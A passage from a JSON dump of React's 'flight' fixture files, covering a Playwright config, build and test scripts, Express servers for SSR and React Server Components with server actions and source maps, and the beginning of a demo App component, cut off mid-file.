    "content": "import {defineConfig, devices} from '@playwright/test';\n\nconst isCI = Boolean(process.env.CI);\n\nexport default defineConfig({\n  // relative to this configuration file.\n  testDir: '__tests__/__e2e__',\n  fullyParallel: true,\n  // Fail the build on CI if you accidentally left test.only in the source code.\n  forbidOnly: !isCI,\n  retries: isCI ? 2 : 0,\n  // Opt out of parallel tests on CI.\n  workers: isCI ? 1 : undefined,\n  reporter: 'html',\n  use: {\n    baseURL: 'http://localhost:3000',\n\n    trace: 'on-first-retry',\n  },\n  projects: [\n    {\n      name: 'chromium',\n      use: {...devices['Desktop Chrome']},\n    },\n  ],\n  webServer: {\n    command: 'yarn dev',\n    url: 'http://localhost:3000',\n    reuseExistingServer: !isCI,\n  },\n});\n"
  },
  {
    "path": "fixtures/flight/scripts/build.js",
    "content": "'use strict';\n\n// Do this as the first thing so that any code reading it knows the right env.\nprocess.env.BABEL_ENV = 'production';\nprocess.env.NODE_ENV = 'production';\n\n// Makes the script crash on unhandled rejections instead of silently\n// ignoring them. In the future, promise rejections that are not handled will\n// terminate the Node.js process with a non-zero exit code.\nprocess.on('unhandledRejection', err => {\n  throw err;\n});\n\n// Ensure environment variables are read.\nrequire('../config/env');\n\nconst path = require('path');\nconst chalk = require('chalk');\nconst fs = require('fs-extra');\nconst webpack = require('webpack');\nconst configFactory = require('../config/webpack.config');\nconst paths = require('../config/paths');\nconst checkRequiredFiles = require('react-dev-utils/checkRequiredFiles');\nconst formatWebpackMessages = require('react-dev-utils/formatWebpackMessages');\nconst printHostingInstructions = require('react-dev-utils/printHostingInstructions');\nconst FileSizeReporter = require('react-dev-utils/FileSizeReporter');\nconst printBuildError = require('react-dev-utils/printBuildError');\n\nconst measureFileSizesBeforeBuild =\n  FileSizeReporter.measureFileSizesBeforeBuild;\nconst printFileSizesAfterBuild = FileSizeReporter.printFileSizesAfterBuild;\nconst useYarn = fs.existsSync(paths.yarnLockFile);\n\n// These sizes are pretty large. We'll warn for bundles exceeding them.\nconst WARN_AFTER_BUNDLE_GZIP_SIZE = 512 * 1024;\nconst WARN_AFTER_CHUNK_GZIP_SIZE = 1024 * 1024;\n\nconst isInteractive = process.stdout.isTTY;\n\n// Warn and crash if required files are missing\nif (!checkRequiredFiles([paths.appIndexJs])) {\n  process.exit(1);\n}\n\nconst argv = process.argv.slice(2);\nconst writeStatsJson = argv.indexOf('--stats') !== -1;\n\n// Generate configuration\nconst config = configFactory('production');\n\n// We require that you explicitly set browsers and do not fall back to\n// browserslist defaults.\nconst {checkBrowsers} = require('react-dev-utils/browsersHelper');\ncheckBrowsers(paths.appPath, isInteractive)\n  .then(() => {\n    // First, read the current file sizes in build directory.\n    // This lets us display how much they changed later.\n    return measureFileSizesBeforeBuild(paths.appBuild);\n  })\n  .then(previousFileSizes => {\n    // Remove all content but keep the directory so that\n    // if you're in it, you don't end up in Trash\n    fs.emptyDirSync(paths.appBuild);\n    // Merge with the public folder\n    copyPublicFolder();\n    // Start the webpack build\n    return build(previousFileSizes);\n  })\n  .then(\n    ({stats, previousFileSizes, warnings}) => {\n      if (warnings.length) {\n        console.log(chalk.yellow('Compiled with warnings.\\n'));\n        console.log(warnings.join('\\n\\n'));\n        console.log(\n          '\\nSearch for the ' +\n            chalk.underline(chalk.yellow('keywords')) +\n            ' to learn more about each warning.'\n        );\n        console.log(\n          'To ignore, add ' +\n            chalk.cyan('// eslint-disable-next-line') +\n            ' to the line before.\\n'\n        );\n      } else {\n        console.log(chalk.green('Compiled successfully.\\n'));\n      }\n\n      console.log('File sizes after gzip:\\n');\n      printFileSizesAfterBuild(\n        stats,\n        previousFileSizes,\n        paths.appBuild,\n        WARN_AFTER_BUNDLE_GZIP_SIZE,\n        WARN_AFTER_CHUNK_GZIP_SIZE\n      );\n      console.log();\n\n      const appPackage = require(paths.appPackageJson);\n      const publicUrl = paths.publicUrlOrPath;\n      const publicPath = config.output.publicPath;\n      const buildFolder = path.relative(process.cwd(), paths.appBuild);\n      printHostingInstructions(\n        appPackage,\n        publicUrl,\n        publicPath,\n        buildFolder,\n        useYarn\n      );\n    },\n    err => {\n      const tscCompileOnError = process.env.TSC_COMPILE_ON_ERROR === 'true';\n      if (tscCompileOnError) {\n        console.log(\n          chalk.yellow(\n            'Compiled with the following type errors (you may want to check these before deploying your app):\\n'\n          )\n        );\n        printBuildError(err);\n      } else {\n        console.log(chalk.red('Failed to compile.\\n'));\n        printBuildError(err);\n        process.exit(1);\n      }\n    }\n  )\n  .catch(err => {\n    if (err && err.message) {\n      console.log(err.message);\n    }\n    process.exit(1);\n  });\n\n// Create the production build and print the deployment instructions.\nfunction build(previousFileSizes) {\n  console.log('Creating an optimized production build...');\n\n  const compiler = webpack(config);\n  return new Promise((resolve, reject) => {\n    compiler.run((err, stats) => {\n      let messages;\n      if (err) {\n        if (!err.message) {\n          return reject(err);\n        }\n\n        let errMessage = err.message;\n\n        // Add additional information for postcss errors\n        if (Object.prototype.hasOwnProperty.call(err, 'postcssNode')) {\n          errMessage +=\n            '\\nCompileError: Begins at CSS selector ' +\n            err['postcssNode'].selector;\n        }\n\n        messages = formatWebpackMessages({\n          errors: [errMessage],\n          warnings: [],\n        });\n      } else {\n        messages = formatWebpackMessages(\n          stats.toJson({all: false, warnings: true, errors: true})\n        );\n      }\n      if (messages.errors.length) {\n        // Only keep the first error. Others are often indicative\n        // of the same problem, but confuse the reader with noise.\n        if (messages.errors.length > 1) {\n          messages.errors.length = 1;\n        }\n        return reject(new Error(messages.errors.join('\\n\\n')));\n      }\n      if (\n        process.env.CI &&\n        (typeof process.env.CI !== 'string' ||\n          process.env.CI.toLowerCase() !== 'false') &&\n        messages.warnings.length\n      ) {\n        // Ignore sourcemap warnings in CI builds. See #8227 for more info.\n        const filteredWarnings = messages.warnings.filter(\n          w => !/Failed to parse source map/.test(w)\n        );\n        if (filteredWarnings.length) {\n          console.log(\n            chalk.yellow(\n              '\\nTreating warnings as errors because process.env.CI = true.\\n' +\n                'Most CI servers set it automatically.\\n'\n            )\n          );\n          return reject(new Error(filteredWarnings.join('\\n\\n')));\n        }\n      }\n\n      const resolveArgs = {\n        stats,\n        previousFileSizes,\n        warnings: messages.warnings,\n      };\n\n      return resolve(resolveArgs);\n    });\n  });\n}\n\nfunction copyPublicFolder() {\n  fs.copySync('public', 'build', {\n    dereference: true,\n  });\n}\n"
  },
  {
    "path": "fixtures/flight/scripts/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "fixtures/flight/scripts/test.js",
    "content": "'use strict';\n\n// Do this as the first thing so that any code reading it knows the right env.\nprocess.env.BABEL_ENV = 'test';\nprocess.env.NODE_ENV = 'test';\nprocess.env.PUBLIC_URL = '';\n\n// Makes the script crash on unhandled rejections instead of silently\n// ignoring them. In the future, promise rejections that are not handled will\n// terminate the Node.js process with a non-zero exit code.\nprocess.on('unhandledRejection', err => {\n  throw err;\n});\n\n// Ensure environment variables are read.\nrequire('../config/env');\n\nconst jest = require('jest');\nconst execSync = require('child_process').execSync;\nlet argv = process.argv.slice(2);\n\nfunction isInGitRepository() {\n  try {\n    execSync('git rev-parse --is-inside-work-tree', {stdio: 'ignore'});\n    return true;\n  } catch (e) {\n    return false;\n  }\n}\n\nfunction isInMercurialRepository() {\n  try {\n    execSync('hg --cwd . root', {stdio: 'ignore'});\n    return true;\n  } catch (e) {\n    return false;\n  }\n}\n\n// Watch unless on CI or explicitly running all tests\nif (\n  !process.env.CI &&\n  argv.indexOf('--watchAll') === -1 &&\n  argv.indexOf('--watchAll=false') === -1\n) {\n  // https://github.com/facebook/create-react-app/issues/5210\n  const hasSourceControl = isInGitRepository() || isInMercurialRepository();\n  argv.push(hasSourceControl ? '--watch' : '--watchAll');\n}\n\njest.run(argv);\n"
  },
  {
    "path": "fixtures/flight/server/global.js",
    "content": "'use strict';\n\n// This is a server to host CDN distributed resources like Webpack bundles and SSR\n\nconst path = require('path');\n\n// Do this as the first thing so that any code reading it knows the right env.\nprocess.env.BABEL_ENV = process.env.NODE_ENV;\n\nconst babelRegister = require('@babel/register');\nbabelRegister({\n  babelrc: false,\n  ignore: [\n    /\\/(build|node_modules)\\//,\n    function (file) {\n      if ((path.dirname(file) + '/').startsWith(__dirname + '/')) {\n        // Ignore everything in this folder\n        // because it's a mix of CJS and ESM\n        // and working with raw code is easier.\n        return true;\n      }\n      return false;\n    },\n  ],\n  presets: ['@babel/preset-react'],\n});\n\n// Ensure environment variables are read.\nrequire('../config/env');\n\nconst fs = require('fs').promises;\nconst compress = require('compression');\nconst chalk = require('chalk');\nconst express = require('express');\nconst http = require('http');\nconst React = require('react');\n\nconst {renderToPipeableStream} = require('react-dom/server');\nconst {createFromNodeStream} = require('react-server-dom-unbundled/client');\nconst {PassThrough} = require('stream');\n\nconst app = express();\n\napp.use(compress());\n\nif (process.env.NODE_ENV === 'development') {\n  // In development we host the Webpack server for live bundling.\n  const webpack = require('webpack');\n  const webpackMiddleware = require('webpack-dev-middleware');\n  const webpackHotMiddleware = require('webpack-hot-middleware');\n  const paths = require('../config/paths');\n  const configFactory = require('../config/webpack.config');\n  const getClientEnvironment = require('../config/env');\n\n  const env = getClientEnvironment(paths.publicUrlOrPath.slice(0, -1));\n\n  const config = configFactory('development');\n  const protocol = process.env.HTTPS === 'true' ? 'https' : 'http';\n  const appName = require(paths.appPackageJson).name;\n\n  // Create a webpack compiler that is configured with custom messages.\n  const compiler = webpack(config);\n  app.use(\n    webpackMiddleware(compiler, {\n      publicPath: paths.publicUrlOrPath.slice(0, -1),\n      serverSideRender: true,\n      headers: () => {\n        return {\n          'Cache-Control': 'no-store, must-revalidate',\n        };\n      },\n    })\n  );\n  app.use(webpackHotMiddleware(compiler));\n}\n\nfunction request(options, body) {\n  return new Promise((resolve, reject) => {\n    const req = http.request(options, res => {\n      resolve(res);\n    });\n    req.on('error', e => {\n      reject(e);\n    });\n    body.pipe(req);\n  });\n}\n\nasync function renderApp(req, res, next) {\n  // Proxy the request to the regional server.\n  const proxiedHeaders = {\n    'X-Forwarded-Host': req.hostname,\n    'X-Forwarded-For': req.ips,\n    'X-Forwarded-Port': 3000,\n    'X-Forwarded-Proto': req.protocol,\n  };\n  // Proxy other headers as desired.\n  if (req.get('rsc-action')) {\n    proxiedHeaders['Content-type'] = req.get('Content-type');\n    proxiedHeaders['rsc-action'] = req.get('rsc-action');\n  } else if (req.get('Content-type')) {\n    proxiedHeaders['Content-type'] = req.get('Content-type');\n  }\n  if (req.headers['cache-control']) {\n    proxiedHeaders['Cache-Control'] = req.get('cache-control');\n  }\n  if (req.get('rsc-request-id')) {\n    proxiedHeaders['rsc-request-id'] = req.get('rsc-request-id');\n  }\n\n  const requestsPrerender = req.path === '/prerender';\n\n  const promiseForData = request(\n    {\n      host: '127.0.0.1',\n      port: 3001,\n      method: req.method,\n      path: requestsPrerender ? '/?prerender=1' : '/',\n      headers: proxiedHeaders,\n    },\n    req\n  );\n\n  if (req.accepts('text/html')) {\n    try {\n      const rscResponse = await promiseForData;\n\n      let virtualFs;\n      let buildPath;\n      if (process.env.NODE_ENV === 'development') {\n        const {devMiddleware} = res.locals.webpack;\n        virtualFs = devMiddleware.outputFileSystem.promises;\n        buildPath = devMiddleware.stats.toJson().outputPath;\n      } else {\n        virtualFs = fs;\n        buildPath = path.join(__dirname, '../build/');\n      }\n      // Read the module map from the virtual file system.\n      const serverConsumerManifest = JSON.parse(\n        await virtualFs.readFile(\n          path.join(buildPath, 'react-ssr-manifest.json'),\n          'utf8'\n        )\n      );\n\n      // Read the entrypoints containing the initial JS to bootstrap everything.\n      // For other pages, the chunks in the RSC payload are enough.\n      const mainJSChunks = JSON.parse(\n        await virtualFs.readFile(\n          path.join(buildPath, 'entrypoint-manifest.json'),\n          'utf8'\n        )\n      ).main.js;\n      // For HTML, we're a \"client\" emulator that runs the client code,\n      // so we start by consuming the RSC payload. This needs a module\n      // map that reverse engineers the client-side path to the SSR path.\n\n      // We need to get the formState before we start rendering but we also\n      // need to run the Flight client inside the render to get all the preloads.\n      // The API is ambivalent about what's the right one so we need two for now.\n\n      // Tee the response into two streams so that we can do both.\n      const rscResponse1 = new PassThrough();\n      const rscResponse2 = new PassThrough();\n\n      rscResponse.pipe(rscResponse1);\n      rscResponse.pipe(rscResponse2);\n\n      const {formState} = await createFromNodeStream(\n        rscResponse1,\n        serverConsumerManifest\n      );\n      rscResponse1.end();\n\n      let cachedResult;\n      let Root = () => {\n        if (!cachedResult) {\n          // Read this stream inside the render.\n          cachedResult = createFromNodeStream(\n            rscResponse2,\n            serverConsumerManifest\n          );\n        }\n        return React.use(cachedResult).root;\n      };\n      // Render it into HTML by resolving the client components\n      res.set('Content-type', 'text/html');\n      const {pipe} = renderToPipeableStream(React.createElement(Root), {\n        bootstrapScripts: mainJSChunks,\n        formState: formState,\n        onShellReady() {\n          pipe(res);\n        },\n        onShellError(error) {\n          const {pipe: pipeError} = renderToPipeableStream(\n            React.createElement('html', null, React.createElement('body')),\n            {\n              bootstrapScripts: mainJSChunks,\n            }\n          );\n          pipeError(res);\n        },\n      });\n    } catch (e) {\n      console.error(`Failed to SSR: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  } else {\n    try {\n      const rscResponse = await promiseForData;\n      // For other request, we pass-through the RSC payload.\n      res.set('Content-type', 'text/x-component');\n      rscResponse.on('data', data => {\n        res.write(data);\n        res.flush();\n      });\n      rscResponse.on('end', data => {\n        res.end();\n      });\n    } catch (e) {\n      console.error(`Failed to proxy request: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  }\n}\n\napp.all('/', renderApp);\napp.all('/prerender', renderApp);\n\nif (process.env.NODE_ENV === 'development') {\n  app.use(express.static('public'));\n\n  app.get('/source-maps', async function (req, res, next) {\n    // Proxy the request to the regional server.\n    const proxiedHeaders = {\n      'X-Forwarded-Host': req.hostname,\n      'X-Forwarded-For': req.ips,\n      'X-Forwarded-Port': 3000,\n      'X-Forwarded-Proto': req.protocol,\n    };\n\n    const promiseForData = request(\n      {\n        host: '127.0.0.1',\n        port: 3001,\n        method: req.method,\n        path: req.originalUrl,\n        headers: proxiedHeaders,\n      },\n      req\n    );\n\n    try {\n      const rscResponse = await promiseForData;\n      res.set('Content-type', 'application/json');\n      rscResponse.on('data', data => {\n        res.write(data);\n        res.flush();\n      });\n      rscResponse.on('end', data => {\n        res.end();\n      });\n    } catch (e) {\n      console.error(`Failed to proxy request: ${e.stack}`);\n      res.statusCode = 500;\n      res.end();\n    }\n  });\n} else {\n  // In production we host the static build output.\n  app.use(express.static('build'));\n}\n\napp.listen(3000, () => {\n  console.log('Global Fizz/Webpack Server listening on port 3000...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error('port 3000 requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error('Port 3000 is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n"
  },
  {
    "path": "fixtures/flight/server/package.json",
    "content": "{\n  \"type\": \"commonjs\"\n}\n"
  },
  {
    "path": "fixtures/flight/server/region.js",
    "content": "'use strict';\n\n// This is a server to host data-local resources like databases and RSC\n\nconst path = require('path');\nconst url = require('url');\n\nconst register = require('react-server-dom-unbundled/node-register');\n// TODO: This seems to have no effect anymore. Remove?\nregister();\n\nconst babelRegister = require('@babel/register');\nbabelRegister({\n  babelrc: false,\n  ignore: [\n    /\\/(build|node_modules)\\//,\n    function (file) {\n      if ((path.dirname(file) + '/').startsWith(__dirname + '/')) {\n        // Ignore everything in this folder\n        // because it's a mix of CJS and ESM\n        // and working with raw code is easier.\n        return true;\n      }\n      return false;\n    },\n  ],\n  presets: ['@babel/preset-react'],\n  plugins: ['@babel/transform-modules-commonjs'],\n  sourceMaps: process.env.NODE_ENV === 'development' ? 'inline' : false,\n});\n\nif (typeof fetch === 'undefined') {\n  // Patch fetch for earlier Node versions.\n  global.fetch = require('undici').fetch;\n}\n\nconst express = require('express');\nconst bodyParser = require('body-parser');\nconst busboy = require('busboy');\nconst app = express();\nconst compress = require('compression');\nconst {Readable} = require('node:stream');\n\nconst nodeModule = require('node:module');\n\napp.use(compress());\n\n// Application\n\nconst {readFile} = require('fs').promises;\n\nconst React = require('react');\n\nconst activeDebugChannels =\n  process.env.NODE_ENV === 'development' ? new Map() : null;\n\nfunction filterStackFrame(sourceURL, functionName) {\n  return (\n    sourceURL !== '' &&\n    !sourceURL.startsWith('node:') &&\n    !sourceURL.includes('node_modules') &&\n    !sourceURL.endsWith('library.js') &&\n    !sourceURL.includes('/server/region.js')\n  );\n}\n\nfunction getDebugChannel(req) {\n  if (process.env.NODE_ENV !== 'development') {\n    return undefined;\n  }\n  const requestId = req.get('rsc-request-id');\n  if (!requestId) {\n    return undefined;\n  }\n  return activeDebugChannels.get(requestId);\n}\n\nasync function renderApp(res, returnValue, formState, noCache, debugChannel) {\n  const {renderToPipeableStream} = await import(\n    'react-server-dom-unbundled/server'\n  );\n  // const m = require('../src/App.js');\n  const m = await import('../src/App.js');\n\n  let moduleMap;\n  let mainCSSChunks;\n  if (process.env.NODE_ENV === 'development') {\n    // Read the module map from the HMR server in development.\n    moduleMap = await (\n      await fetch('http://localhost:3000/react-client-manifest.json')\n    ).json();\n    mainCSSChunks = (\n      await (\n        await fetch('http://localhost:3000/entrypoint-manifest.json')\n      ).json()\n    ).main.css;\n  } else {\n    // Read the module map from the static build in production.\n    moduleMap = JSON.parse(\n      await readFile(\n        path.resolve(__dirname, `../build/react-client-manifest.json`),\n        'utf8'\n      )\n    );\n    mainCSSChunks = JSON.parse(\n      await readFile(\n        path.resolve(__dirname, `../build/entrypoint-manifest.json`),\n        'utf8'\n      )\n    ).main.css;\n  }\n  const App = m.default.default || m.default;\n  const root = React.createElement(\n    React.Fragment,\n    null,\n    // Prepend the App's tree with stylesheets required for this entrypoint.\n    mainCSSChunks.map(filename =>\n      React.createElement('link', {\n        rel: 'stylesheet',\n        href: filename,\n        precedence: 'default',\n        key: filename,\n      })\n    ),\n    React.createElement(App, {noCache})\n  );\n  // For client-invoked server actions we refresh the tree and return a return value.\n  const payload = {root, returnValue, formState};\n  const {pipe} = renderToPipeableStream(payload, moduleMap, {\n    debugChannel,\n    filterStackFrame,\n  });\n  pipe(res);\n}\n\nasync function prerenderApp(res, returnValue, formState, noCache) {\n  const {prerenderToNodeStream} = await import(\n    'react-server-dom-unbundled/static'\n  );\n  // const m = require('../src/App.js');\n  const m = await import('../src/App.js');\n\n  let moduleMap;\n  let mainCSSChunks;\n  if (process.env.NODE_ENV === 'development') {\n    // Read the module map from the HMR server in development.\n    moduleMap = await (\n      await fetch('http://localhost:3000/react-client-manifest.json')\n    ).json();\n    mainCSSChunks = (\n      await (\n        await fetch('http://localhost:3000/entrypoint-manifest.json')\n      ).json()\n    ).main.css;\n  } else {\n    // Read the module map from the static build in production.\n    moduleMap = JSON.parse(\n      await readFile(\n        path.resolve(__dirname, `../build/react-client-manifest.json`),\n        'utf8'\n      )\n    );\n    mainCSSChunks = JSON.parse(\n      await readFile(\n        path.resolve(__dirname, `../build/entrypoint-manifest.json`),\n        'utf8'\n      )\n    ).main.css;\n  }\n  const App = m.default.default || m.default;\n  const root = React.createElement(\n    React.Fragment,\n    null,\n    // Prepend the App's tree with stylesheets required for this entrypoint.\n    mainCSSChunks.map(filename =>\n      React.createElement('link', {\n        rel: 'stylesheet',\n        href: filename,\n        precedence: 'default',\n        key: filename,\n      })\n    ),\n    React.createElement(App, {prerender: true, noCache})\n  );\n  // For client-invoked server actions we refresh the tree and return a return value.\n  const payload = {root, returnValue, formState};\n  const {prelude} = await prerenderToNodeStream(payload, moduleMap, {\n    filterStackFrame,\n  });\n  prelude.pipe(res);\n}\n\napp.get('/', async function (req, res) {\n  const noCache = req.get('cache-control') === 'no-cache';\n\n  if ('prerender' in req.query) {\n    await prerenderApp(res, null, null, noCache);\n  } else {\n    await renderApp(res, null, null, noCache, getDebugChannel(req));\n  }\n});\n\napp.post('/', bodyParser.text(), async function (req, res) {\n  const noCache = req.headers['cache-control'] === 'no-cache';\n  const {decodeReply, decodeReplyFromBusboy, decodeAction, decodeFormState} =\n    await import('react-server-dom-unbundled/server');\n  const serverReference = req.get('rsc-action');\n  if (serverReference) {\n    // This is the client-side case\n    const [filepath, name] = serverReference.split('#');\n    const action = (await import(filepath))[name];\n    // Validate that this is actually a function we intended to expose and\n    // not the client trying to invoke arbitrary functions. In a real app,\n    // you'd have a manifest verifying this before even importing it.\n    if (action.$$typeof !== Symbol.for('react.server.reference')) {\n      throw new Error('Invalid action');\n    }\n\n    let args;\n    if (req.is('multipart/form-data')) {\n      // Use busboy to streamingly parse the reply from form-data.\n      const bb = busboy({headers: req.headers});\n      const reply = decodeReplyFromBusboy(bb);\n      req.pipe(bb);\n      args = await reply;\n    } else {\n      args = await decodeReply(req.body);\n    }\n    const result = action.apply(null, args);\n    try {\n      // Wait for any mutations\n      await result;\n    } catch (x) {\n      // We handle the error on the client\n    }\n    // Refresh the client and return the value\n    renderApp(res, result, null, noCache, getDebugChannel(req));\n  } else {\n    // This is the progressive enhancement case\n    const UndiciRequest = require('undici').Request;\n    const fakeRequest = new UndiciRequest('http://localhost', {\n      method: 'POST',\n      headers: {'Content-Type': req.headers['content-type']},\n      body: Readable.toWeb(req),\n      duplex: 'half',\n    });\n    const formData = await fakeRequest.formData();\n    const action = await decodeAction(formData);\n    try {\n      // Wait for any mutations\n      const result = await action();\n      const formState = decodeFormState(result, formData);\n      renderApp(res, null, formState, noCache, undefined);\n    } catch (x) {\n      const {setServerState} = await import('../src/ServerState.js');\n      setServerState('Error: ' + x.message);\n      renderApp(res, null, null, noCache, undefined);\n    }\n  }\n});\n\napp.get('/todos', function (req, res) {\n  res.json([\n    {\n      id: 1,\n      text: 'Shave yaks',\n    },\n    {\n      id: 2,\n      text: 'Eat kale',\n    },\n  ]);\n});\n\nif (process.env.NODE_ENV === 'development') {\n  const rootDir = path.resolve(__dirname, '../');\n\n  app.get('/source-maps', async function (req, res, next) {\n    try {\n      res.set('Content-type', 'application/json');\n      let requestedFilePath = req.query.name;\n\n      let isCompiledOutput = false;\n      if (requestedFilePath.startsWith('file://')) {\n        // We assume that if it was prefixed with file:// it's referring to the compiled output\n        // and if it's a direct file path we assume it's source mapped back to original format.\n        isCompiledOutput = true;\n        requestedFilePath = url.fileURLToPath(requestedFilePath);\n      }\n\n      const relativePath = path.relative(rootDir, requestedFilePath);\n      if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n        // This is outside the root directory of the app. Forbid it to be served.\n        res.status = 403;\n        res.write('{}');\n        res.end();\n        return;\n      }\n\n      const sourceMap = nodeModule.findSourceMap(requestedFilePath);\n      let map;\n      if (requestedFilePath.startsWith('node:')) {\n        // This is a node internal. We don't include any source code for this but we still\n        // generate a source map for it so that we can add it to an ignoreList automatically.\n        map = {\n          version: 3,\n          // We use the node:// protocol convention to teach Chrome DevTools that this is\n          // on a different protocol and not part of the current page.\n          sources: ['node:///' + requestedFilePath.slice(5)],\n          sourcesContent: ['// Node Internals'],\n          mappings: 'AAAA',\n          ignoreList: [0],\n          sourceRoot: '',\n        };\n      } else if (!sourceMap || !isCompiledOutput) {\n        // If a file doesn't have a source map, such as this file, then we generate a blank\n        // source map that just contains the original content and segments pointing to the\n        // original lines. If a line number points to uncompiled output, like if source mapping\n        // was already applied we also use this path.\n        const sourceContent = await readFile(requestedFilePath, 'utf8');\n        const lines = sourceContent.split('\\n').length;\n        // We ensure to absolute\n        const sourceURL = url.pathToFileURL(requestedFilePath);\n        map = {\n          version: 3,\n          sources: [sourceURL],\n          sourcesContent: [sourceContent],\n          // Note: This approach to mapping each line only lets you jump to each line\n          // not jump to a column within a line. To do that, you need a proper source map\n          // generated for each parsed segment or add a segment for each column.\n          mappings: 'AAAA' + ';AACA'.repeat(lines - 1),\n          sourceRoot: '',\n          // Add any node_modules to the ignore list automatically.\n          ignoreList: requestedFilePath.includes('node_modules')\n            ? [0]\n            : undefined,\n        };\n      } else {\n        // We always set prepareStackTrace before reading the stack so that we get the stack\n        // without source maps applied. Therefore we have to use the original source map.\n        // If something read .stack before we did, we might observe the line/column after\n        // source mapping back to the original file. We use the isCompiledOutput check above\n        // in that case.\n        map = sourceMap.payload;\n      }\n      res.write(JSON.stringify(map));\n      res.end();\n    } catch (x) {\n      res.status = 500;\n      res.write('{}');\n      res.end();\n      console.error(x);\n    }\n  });\n}\n\nconst httpServer = app.listen(3001, () => {\n  console.log('Regional Flight Server listening on port 3001...');\n});\n\napp.on('error', function (error) {\n  if (error.syscall !== 'listen') {\n    throw error;\n  }\n\n  switch (error.code) {\n    case 'EACCES':\n      console.error('port 3001 requires elevated privileges');\n      process.exit(1);\n      break;\n    case 'EADDRINUSE':\n      console.error('Port 3001 is already in use');\n      process.exit(1);\n      break;\n    default:\n      throw error;\n  }\n});\n\nif (process.env.NODE_ENV === 'development') {\n  // Open a websocket server for Debug information\n  const WebSocket = require('ws');\n\n  const webSocketServer = new WebSocket.Server({\n    server: httpServer,\n    path: '/debug-channel',\n  });\n\n  webSocketServer.on('connection', (ws, req) => {\n    const url = new URL(req.url, `http://${req.headers.host}`);\n    const requestId = url.searchParams.get('id');\n\n    activeDebugChannels.set(requestId, ws);\n\n    ws.on('close', (code, reason) => {\n      activeDebugChannels.delete(requestId);\n    });\n  });\n}\n"
  },
  {
    "path": "fixtures/flight/src/App.js",
    "content": "import * as React from 'react';\nimport {renderToReadableStream} from 'react-server-dom-unbundled/server';\nimport {createFromReadableStream} from 'react-server-dom-webpack/client';\nimport {PassThrough, Readable} from 'stream';\nimport {ClientContext, ClientReadContext} from './ClientContext.js';\nimport Container from './Container.js';\n\nimport {Counter} from './Counter.js';\nimport {Counter as Counter2} from './Counter2.js';\nimport AsyncModule from './cjs/Counter3.js';\nconst Counter3 = await(AsyncModule);\n\nimport ShowMore from './ShowMore.js';\nimport Button from './Button.js';\nimport Form from './Form.js';\nimport {Dynamic} from './Dynamic.js';\nimport {Client} from './Client.js';\nimport {Navigate} from './Navigate.js';\n\nimport {Note} from './cjs/Note.js';\n\nimport {GenerateImage} from './GenerateImage.js';\n\nimport LargeContent from './LargeContent.js';\n\nimport {like, greet, increment} from './actions.js';\n\nimport {getServerState} from './ServerState.js';\nimport {sdkMethod} from './library.js';\n\nconst promisedText = new Promise(resolve =>\n  setTimeout(() => resolve('deferred text'), 50)\n);\n\nfunction Foo({children}) {\n  return <div>{children}</div>;\n}\n\nasync function delayedError(text, ms) {\n  return new Promise((_, reject) =>\n    setTimeout(() => reject(new Error(text)), ms)\n  );\n}\n\nasync function delay(text, ms) {\n  return new Promise(resolve => setTimeout(() => resolve(text), ms));\n}\n\nasync function delayTwice() {\n  try {\n    await delayedError('Delayed exception', 20);\n  } catch (x) {\n    // Ignored\n  }\n  await delay('', 10);\n}\n\nasync function delayTrice() {\n  const p = delayTwice();\n  await delay('', 40);\n  return p;\n}\n\nasync function Bar({children}) {\n  await delayTrice();\n  return <div>{children}</div>;\n}\n\nasync function ThirdPartyComponent() {\n  return await delay('hello from a 3rd party', 30);\n}\n\nlet cachedThirdPartyStream;\n\n// We create the Component outside of AsyncLocalStorage so that it has no owner.\n// That way it gets the owner from the call to createFromNodeStream.\nconst thirdPartyComponent = <ThirdPartyComponent />;\n\nfunction simulateFetch(cb, latencyMs) {\n  return new Promise(resolve => {\n    // Request latency\n    setTimeout(() => {\n      const result = cb();\n      // Response latency\n      setTimeout(() => {\n        resolve(result);\n      }, latencyMs);\n    }, latencyMs);\n  });\n}\n\nasync function fetchThirdParty(noCache) {\n  // We're using the Web Streams APIs for tee'ing convenience.\n  let stream;\n  if (cachedThirdPartyStream && !noCache) {\n    stream = cachedThirdPartyStream;\n  } else {\n    stream = await simulateFetch(\n      () =>\n        renderToReadableStream(\n          thirdPartyComponent,\n          {},\n          {environmentName: 'third-party'}\n        ),\n      25\n    );\n  }\n\n  const [stream1, stream2] = stream.tee();\n  cachedThirdPartyStream = stream1;\n\n  return createFromReadableStream(stream2, {\n    serverConsumerManifest: {\n      moduleMap: {},\n      serverModuleMap: null,\n      moduleLoading: null,\n    },\n  });\n}\n\nasync function ServerComponent({noCache}) {\n  await delay('deferred text', 50);\n  return await fetchThirdParty(noCache);\n}\n\nlet veryDeepObject = [\n  {\n    bar: {\n      baz: {\n        a: {},\n      },\n    },\n  },\n  {\n    bar: {\n      baz: {\n        a: {},\n      },\n    },\n  },\n  {\n    bar: {\n      baz: {\n        a: {},\n      },\n    },\n  },\n  {\n    bar: {\n      baz: {\n        a: {\n          b: {\n            c: {\n              d: {\n                e: {\n                  f: {\n                    g: {\n                      h: {\n                        i: {\n                          j: {\n                            k: {\n                              l: {\n                                m: {\n                                  yay: 'You reached the end',\n                                },\n                              },\n                            },\n                          },\n                        },\n                      },\n                    },\n                  },\n                },\n              },\n            },\n          },\n        },\n      },\n    },\n  },\n];\n\nexport default async function App({prerender, noCache}) {\n  const res = await fetch('http://localhost:3001/todos');\n  const todos = await res.json();\n  await sdkMethod('http://localhost:3001/todos');\n\n  console.log('Expand me:', veryDeepObject);\n\n  const dedupedChild = <ServerComponent noCache={noCache} />;\n  const message = getServerState();\n  return (\n    <html lang=\"en\">\n      <head>\n        <meta charSet=\"utf-8\" />\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n        <title>Flight</title>\n      </head>\n      <body>\n        <Container>\n          {prerender ? (\n            <meta data-testid=\"prerendered\" name=\"prerendered\" content=\"true\" />\n          ) : (\n            <meta content=\"when not prerendering we render this meta tag. When prerendering you will expect to see this tag and the one with data-testid=prerendered because we SSR 